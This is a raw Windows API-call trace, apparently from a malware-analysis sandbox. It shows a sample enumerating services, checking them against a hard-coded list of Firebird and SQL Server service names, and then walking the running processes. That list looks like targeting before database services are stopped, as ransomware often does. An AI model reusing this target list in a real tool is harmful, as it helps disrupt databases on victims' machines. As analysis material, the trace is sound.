	[0139.269] EnumServicesStatusExW (in: hSCManager=0x45b0520, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4591700, cbBufSize=0x1b58, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4591700, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0139.270] CloseServiceHandle (hSCObject=0x45b0520) returned 1
	[0139.270] lstrlenW (lpString="AppXSvc") returned 7
	[0139.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0139.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0139.270] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0139.270] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0139.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0139.270] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0139.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0139.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0139.270] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0139.270] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0139.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0139.270] lstrlenW (lpString="Audiosrv") returned 8
	[0139.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0139.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0139.270] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0139.270] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0139.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0139.271] lstrlenW (lpString="BFE") returned 3
	[0139.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0139.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0139.271] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0139.271] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0139.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0139.271] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0139.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0139.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0139.271] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0139.271] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0139.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0139.271] lstrlenW (lpString="CDPSvc") returned 6
	[0139.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0139.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0139.271] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0139.271] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0139.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0139.271] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0139.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0139.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0139.271] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0139.271] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0139.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0139.271] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0139.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0139.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0139.271] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0139.272] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0139.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0139.272] lstrlenW (lpString="CryptSvc") returned 8
	[0139.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0139.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0139.272] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0139.272] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0139.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0139.272] lstrlenW (lpString="DcomLaunch") returned 10
	[0139.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0139.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0139.272] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0139.272] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0139.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0139.272] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0139.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0139.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0139.272] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0139.272] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0139.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0139.272] lstrlenW (lpString="Dhcp") returned 4
	[0139.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0139.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0139.272] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0139.272] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0139.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0139.272] lstrlenW (lpString="Dnscache") returned 8
	[0139.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0139.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0139.273] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0139.273] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0139.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0139.273] lstrlenW (lpString="DPS") returned 3
	[0139.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0139.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0139.273] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0139.273] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0139.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0139.273] lstrlenW (lpString="DusmSvc") returned 7
	[0139.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0139.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0139.273] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0139.273] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0139.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0139.273] lstrlenW (lpString="EventLog") returned 8
	[0139.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0139.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0139.273] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0139.273] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0139.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0139.273] lstrlenW (lpString="EventSystem") returned 11
	[0139.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0139.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0139.274] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0139.274] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0139.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0139.274] lstrlenW (lpString="FontCache") returned 9
	[0139.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0139.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0139.274] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0139.274] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0139.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0139.274] lstrlenW (lpString="gpsvc") returned 5
	[0139.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0139.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0139.274] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0139.274] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0139.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0139.274] lstrlenW (lpString="iphlpsvc") returned 8
	[0139.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0139.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0139.274] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0139.274] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0139.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0139.274] lstrlenW (lpString="KeyIso") returned 6
	[0139.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0139.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0139.275] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0139.275] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0139.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0139.275] lstrlenW (lpString="LanmanServer") returned 12
	[0139.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0139.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0139.275] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0139.275] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0139.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0139.275] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0139.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0139.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0139.275] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0139.275] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0139.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0139.275] lstrlenW (lpString="lfsvc") returned 5
	[0139.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0139.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0139.275] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0139.275] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0139.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0139.275] lstrlenW (lpString="lmhosts") returned 7
	[0139.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0139.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0139.275] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0139.275] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0139.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0139.276] lstrlenW (lpString="LSM") returned 3
	[0139.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0139.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0139.276] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0139.276] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0139.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0139.276] lstrlenW (lpString="MpsSvc") returned 6
	[0139.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0139.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0139.276] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0139.276] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0139.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0139.276] lstrlenW (lpString="NcbService") returned 10
	[0139.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0139.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0139.276] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0139.276] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0139.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0139.276] lstrlenW (lpString="netprofm") returned 8
	[0139.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0139.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0139.276] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0139.276] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0139.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0139.276] lstrlenW (lpString="NgcSvc") returned 6
	[0139.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0139.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0139.277] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0139.277] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0139.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0139.277] lstrlenW (lpString="NlaSvc") returned 6
	[0139.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0139.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0139.277] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0139.277] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0139.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0139.277] lstrlenW (lpString="nsi") returned 3
	[0139.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0139.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0139.277] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0139.277] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0139.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0139.277] lstrlenW (lpString="PcaSvc") returned 6
	[0139.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0139.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0139.277] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0139.277] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0139.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0139.277] lstrlenW (lpString="PlugPlay") returned 8
	[0139.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0139.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0139.277] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0139.277] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0139.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0139.278] lstrlenW (lpString="Power") returned 5
	[0139.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0139.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0139.278] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0139.278] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0139.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0139.278] lstrlenW (lpString="ProfSvc") returned 7
	[0139.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0139.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0139.278] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0139.278] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0139.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0139.278] lstrlenW (lpString="RpcEptMapper") returned 12
	[0139.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0139.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0139.278] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0139.278] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0139.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0139.278] lstrlenW (lpString="RpcSs") returned 5
	[0139.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0139.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0139.278] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0139.278] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0139.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0139.278] lstrlenW (lpString="SamSs") returned 5
	[0139.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0139.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0139.279] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0139.279] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0139.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0139.279] lstrlenW (lpString="Schedule") returned 8
	[0139.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0139.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0139.279] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0139.279] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0139.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0139.279] lstrlenW (lpString="SecurityHealthService") returned 21
	[0139.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0139.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0139.279] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0139.279] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0139.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0139.279] lstrlenW (lpString="SENS") returned 4
	[0139.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0139.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0139.279] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0139.279] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0139.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0139.279] lstrlenW (lpString="ShellHWDetection") returned 16
	[0139.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0139.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0139.279] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0139.279] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0139.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0139.279] lstrlenW (lpString="Spooler") returned 7
	[0139.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0139.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0139.280] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0139.280] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0139.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0139.280] lstrlenW (lpString="StateRepository") returned 15
	[0139.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0139.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0139.280] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0139.280] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0139.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0139.280] lstrlenW (lpString="SysMain") returned 7
	[0139.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0139.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0139.280] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0139.280] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0139.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0139.280] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0139.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0139.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0139.280] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0139.280] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0139.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0139.280] lstrlenW (lpString="Themes") returned 6
	[0139.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0139.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0139.280] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0139.280] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0139.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0139.281] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0139.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0139.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0139.281] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0139.281] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0139.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1
	[0139.281] lstrlenW (lpString="TimeBrokerSvc") returned 13
	[0139.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0139.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0139.281] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1
	[0139.281] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1
	[0139.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4591700 | out: hHeap=0x4f0000) returned 1
	[0139.281] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x488
	[0139.360] Process32FirstW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0139.361] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0139.361] lstrlenW (lpString="System") returned 6
	[0139.361] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0139.362] lstrlenW (lpString="smss.exe") returned 8
	[0139.362] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0139.363] lstrlenW (lpString="csrss.exe") returned 9
